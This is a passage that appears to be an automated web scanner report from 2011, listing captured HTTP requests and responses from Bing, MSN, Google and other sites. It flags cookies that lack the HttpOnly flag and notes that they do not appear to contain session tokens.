GET /translate_t?q=millenium+boston&um=1&ie=UTF-8&sa=N&hl=en&tab=wT HTTP/1.1 Host: translate.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:42:18 GMT Expires: Wed, 02 Feb 2011 15:42:18 GMT Cache-Control: private, max-age=86400 Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: PREF=ID=11a27dc8823c6265:TM=1296661338:LM=1296661338:S=XxDI3af9TXnEOKKO; expires=Fri, 01-Feb-2013 15:42:18 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: translation X-XSS-Protection: 1; mode=block Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: tv.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /last-night-on-tv/ HTTP/1.1 Host: tv.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 33889 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: stad=; path=/ Set-Cookie: MC1=V=3&GUID=6e26d8f6fa754507a302411667b60080; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 15:38:01 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Last Night ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tv/article.aspx?news=625989>1=28103 HTTP/1.1 Host: tv.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /videosearch HTTP/1.1 Host: video.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://video.google.com/">here</ ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
v1st=180511B6F2B95AA0; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.dmtracker.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/o?id=bpZvKQBBer360wadbi-bnq&i=http%3A%2F%2Fwww.ehow.com%2Faccount%2Fsimple_login.aspx&ts=1296659582198 HTTP/1.1 Host: w.ic.tynt.com Proxy-Connection: keep-alive Referer: http://www.ehow.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /index.php HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
The following cookie was issued by the application and does not have the HttpOnly flag set:
Coyote-2-a0f0083=a0f021f:0; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:38:32 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/ Content-Length: 93951
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.astaro.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.away.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://away.com/">here< ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Length: 28806 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" X-UA-Compatible: IE=7 Date: Tue, 01 Feb 2011 15:38:40 GMT Connection: close Set-Cookie: _SS=SID=0BC2ADE229F04634896564740A5A01D2; domain=.bing.com; path=/ Set-Cookie: MUID=F741A5D3C8544F77A0B57D8439E7E06E; expires=Thu, 31-Jan-2013 15:38:40 GMT; domain=.bing.com; path=/ Set-Cookie: OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2cb5a6f99140c64e31bba9881e28dc2c32; expires=Thu, 31-Jan-2013 15:38:40 GMT; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1623818&D=1593447&AF=NOFORM; expires=Thu, 31-Jan-2013 15:38:40 GMT; domain=.bing.com; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"><head><meta ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /images/results.aspx HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 62642 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" X-UA-Compatible: IE=7 Date: Tue, 01 Feb 2011 15:38:46 GMT Connection: close Set-Cookie: IMGSCHUSR=scratchpad=0&details=1&BE=1; expires=Thu, 31-Jan-2013 15:38:46 GMT; domain=.bing.com; path=/images Set-Cookie: _SS=SID=EBE2AE360AFC4607A69EB91C0D4E6925; domain=.bing.com; path=/ Set-Cookie: MUID=F741A5D3C8544F77A0B57D8439E7E06E; expires=Thu, 31-Jan-2013 15:38:46 GMT; domain=.bing.com; path=/ Set-Cookie: OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c555a02fcae8c47d28a52d3ae0b9f2d11; expires=Thu, 31-Jan-2013 15:38:46 GMT; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1623818&D=1593447&AF=NOFORM; expires=Thu, 31-Jan-2013 15:38:46 GMT; domain=.bing.com; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"><head><meta ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /local/ypdefault.aspx?cobrand=1 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:00 GMT Connection: close Set-Cookie: _SS=SID=988929FDD64C4D1397AB89DFC50C244C; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:00 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /maps/ HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /maps/default.aspx HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /maps/explore/?org=aj&FORM=Z9LH9 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /news/results.aspx HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 302 Moved Temporarily Cache-Control: private Content-Length: 0 Location: /news P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Tue, 01 Feb 2011 15:39:16 GMT Connection: close Set-Cookie: _HOP=I=1&TS=1296574756; domain=.bing.com; path=/ Set-Cookie: _SS=SID=763DB5F1CCD148E2BB4E8A278E312C2C; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1623819&D=1593447&AF=NOFORM; expires=Thu, 31-Jan-2013 15:39:16 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /news/search?q=small+plane+makes+emergency+landing+on+nj+highway&form=msnhpm HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 70879 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" X-UA-Compatible: IE=7 Date: Wed, 02 Feb 2011 15:43:30 GMT Connection: close Set-Cookie: _SS=SID=5764619496BA40119E677689023EF3BF; domain=.bing.com; path=/ Set-Cookie: MUID=F741A5D3C8544F77A0B57D8439E7E06E; expires=Fri, 01-Feb-2013 15:43:30 GMT; domain=.bing.com; path=/ Set-Cookie: OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2cd72edb54d9204953b984e3b08f2bfcd9; expires=Fri, 01-Feb-2013 15:43:30 GMT; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625263&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:43:30 GMT; domain=.bing.com; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /news/search HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 302 Moved Temporarily Cache-Control: private Content-Length: 0 Location: /news P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Tue, 01 Feb 2011 15:39:18 GMT Connection: close Set-Cookie: _HOP=I=1&TS=1296574758; domain=.bing.com; path=/ Set-Cookie: _SS=SID=359930AE5B034C0B815E7BBE1E780610; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1623819&D=1593447&AF=NOFORM; expires=Thu, 31-Jan-2013 15:39:18 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /results.aspx HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 301 Moved Permanently Cache-Control: private Content-Length: 0 Location: http://www.bing.com/search P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Tue, 01 Feb 2011 15:38:46 GMT Connection: close Set-Cookie: _HOP=I=1&TS=1296574725; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /search?q=February+1&mkt=en-us&FORM=MSNHPT HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:02 GMT Connection: close Set-Cookie: _FS=mkt=en-US; domain=.bing.com; path=/ Set-Cookie: _SS=SID=2E1A7F5BA7644A2BAA06833125336168; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:02 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping?FORM=SHOPH2 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:02 GMT Connection: close Set-Cookie: _SS=SID=174B2CCBF11A4337B3CF5638612D64AA; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping/pet-beds/c/5533?q=dog+beds&vw=gr&FORM=SHOPH1&crea=020111dogbed HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:01 GMT Connection: close Set-Cookie: _SS=SID=835633C5B9E34FC3BD3136F7AE025813; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping/photo-storage-presentation/search?q=digital%20photo%20frame&p1=%5bCommerceService%20scenario%3d%22f%22%20r%3d%22leafcategoryid%7c4385%2cpricelow%7c0%2cpricehigh%7c25%22%5d&vw=gr&FORM=SHOPH1&crea=020111frames HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:01 GMT Connection: close Set-Cookie: _SS=SID=75FB9386DCDD4B3784025AB4615440AB; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping/search HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:01 GMT Connection: close Set-Cookie: _SS=SID=0D67D29194BA45D69B3158AB22258F94; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping/televisions/c/4724?q=flat+screen+tv&vw=gr&FORM=SHOPH1&crea=020111TVs HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:01 GMT Connection: close Set-Cookie: _SS=SID=105E83DD783E4EBF96A309947C7C28C6; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
